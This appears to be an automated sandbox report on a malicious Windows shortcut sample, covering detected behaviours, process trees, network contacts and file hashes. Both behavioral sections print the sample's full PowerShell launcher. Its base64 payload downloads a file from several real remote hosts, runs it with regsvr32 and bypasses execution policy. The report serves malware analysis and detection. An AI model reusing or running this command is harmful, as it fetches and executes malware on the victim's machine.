Malware Analysis Report

2024-12-07 16:14

Sample ID 241113-lc9zgaymav
Target c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463
SHA256 c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463
Tags
execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463

Threat Level: Likely malicious

The file c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463 was found to be: Likely malicious.

Malicious Activity Summary

execution

Blocklisted process makes network request

Checks computer location settings

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 09:24

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 09:24

Reported

2024-11-13 09:27

Platform

win7-20241010-en

Max time kernel

121s

Max time network

126s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463.lnk

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "ARCHIVO 1512.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovLzUxLjIyMi43Mi4yMzcvd3AtaW5jbHVkZXMvMmw5Mlh1bG5DNmFaenYwak5HTi8iLCJodHRwOi8vdnJzdGFyLXBhcmsuY29tL3dwLWluY2x1ZGVzLzJVWWhOZ0lhTmVJQk0vIiwiaHR0cDovL2RuMDAwODkzLmZlcm96by5jb20vYWdlbmRhL2NrVTRvck9uNC8iLCJodHRwOi8vZGxxc2NsdWIuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy80SW1NWWtnSTQ0cHN3ZWFLSS8iLCJodHRwOi8vdG93YXJkc3VuLm5ldC9hZG1pbi9uNTZ3ZzliU1pQRi8iLCJodHRwOi8vY3JlY2VyY3JlYW5kby5jb20vdGFwYXMyL0FXbG8vIik7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGVudjpURU1QL21TUm9DeFBJWW4uaGVEO1JlZ3N2cjMyLmV4ZSAkZW52OlRFTVAvbVNSb0N4UElZbi5oZUQ7YnJlYWt9IGNhdGNoIHsgfX0=')) > "C:\Users\Admin\AppData\Local\Temp\vyrEzcdcTl.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\vyrEzcdcTl.ps1"; Remove-Item "$env:TEMP/\vyrEzcdcTl.

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\vyrEzcdcTl.ps1

Network

N/A

Files

memory/2736-38-0x000007FEF61FE000-0x000007FEF61FF000-memory.dmp

memory/2736-39-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

memory/2736-40-0x00000000024D0000-0x00000000024D8000-memory.dmp

memory/2736-41-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

memory/2736-42-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

memory/2736-43-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

memory/2736-44-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

memory/2736-45-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

memory/2736-47-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\vyrEzcdcTl.ps1

MD5 b6c0d424fc2e8f0305869f276f3ab851
SHA1 cc330652aade5fa66cf581884b1a347673206cd0
SHA256 70280b341855deaa98065c4548ba8cbbf318a99b288bafa4217c6b205519776c
SHA512 21a656692df485e9c678617c6c77c8ea9ab4cef4a214d56f7ff7c5df7b0c484eb4494fb60552746c178875e3ddc66547f2e2eb31d67be8c3745de862bbea4e8e

memory/2736-53-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 09:24

Reported

2024-11-13 09:27

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

150s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463.lnk

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "ARCHIVO 1512.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovLzUxLjIyMi43Mi4yMzcvd3AtaW5jbHVkZXMvMmw5Mlh1bG5DNmFaenYwak5HTi8iLCJodHRwOi8vdnJzdGFyLXBhcmsuY29tL3dwLWluY2x1ZGVzLzJVWWhOZ0lhTmVJQk0vIiwiaHR0cDovL2RuMDAwODkzLmZlcm96by5jb20vYWdlbmRhL2NrVTRvck9uNC8iLCJodHRwOi8vZGxxc2NsdWIuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy80SW1NWWtnSTQ0cHN3ZWFLSS8iLCJodHRwOi8vdG93YXJkc3VuLm5ldC9hZG1pbi9uNTZ3ZzliU1pQRi8iLCJodHRwOi8vY3JlY2VyY3JlYW5kby5jb20vdGFwYXMyL0FXbG8vIik7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGVudjpURU1QL21TUm9DeFBJWW4uaGVEO1JlZ3N2cjMyLmV4ZSAkZW52OlRFTVAvbVNSb0N4UElZbi5oZUQ7YnJlYWt9IGNhdGNoIHsgfX0=')) > "C:\Users\Admin\AppData\Local\Temp\vyrEzcdcTl.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\vyrEzcdcTl.ps1"; Remove-Item "$env:TEMP/\vyrEzcdcTl.

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\vyrEzcdcTl.ps1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
CA 51.222.72.237:80 tcp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 68.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 vrstar-park.com udp
CN 49.4.81.44:80 vrstar-park.com tcp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 75.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 dn000893.ferozo.com udp
AR 66.97.36.138:80 dn000893.ferozo.com tcp
US 8.8.8.8:53 dlqsclub.com udp
US 8.8.8.8:53 138.36.97.66.in-addr.arpa udp
US 8.8.8.8:53 towardsun.net udp
US 8.8.8.8:53 crecercreando.com udp
ES 217.76.156.252:80 crecercreando.com tcp
US 8.8.8.8:53 252.156.76.217.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 106.208.201.84.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp

Files

memory/1628-2-0x00007FFBB9E73000-0x00007FFBB9E75000-memory.dmp

memory/1628-8-0x0000027FDDED0000-0x0000027FDDEF2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pwfhzkts.u4i.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1628-13-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

memory/1628-14-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

memory/1628-15-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

memory/1628-17-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\vyrEzcdcTl.ps1

MD5 b6c0d424fc2e8f0305869f276f3ab851
SHA1 cc330652aade5fa66cf581884b1a347673206cd0
SHA256 70280b341855deaa98065c4548ba8cbbf318a99b288bafa4217c6b205519776c
SHA512 21a656692df485e9c678617c6c77c8ea9ab4cef4a214d56f7ff7c5df7b0c484eb4494fb60552746c178875e3ddc66547f2e2eb31d67be8c3745de862bbea4e8e

memory/1628-28-0x00007FFBB9E73000-0x00007FFBB9E75000-memory.dmp

memory/1628-29-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

memory/1628-30-0x0000027FDDF00000-0x0000027FDE11C000-memory.dmp

memory/1276-31-0x000001EA53D20000-0x000001EA53F3C000-memory.dmp

memory/1276-34-0x000001EA54C70000-0x000001EA55416000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 0ab03b4ab0ee8273a1eea28cef1ca1e7
SHA1 8a305ca40e71bd2b04b20c65e28730e3ff3f50b2
SHA256 695a48145171a84d61778fe33c410d3195109c7c59a2b1038a1f3ca14c52a3ed
SHA512 7347810d3c514b343def26aa42e4b758fc1cdd8a9e57c529de49615b995c8c1dab942d83d432a5ee6e022bbefd020d6b1d920ffa61a9ca2617ff8b67ce3c4f72

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

memory/1628-41-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp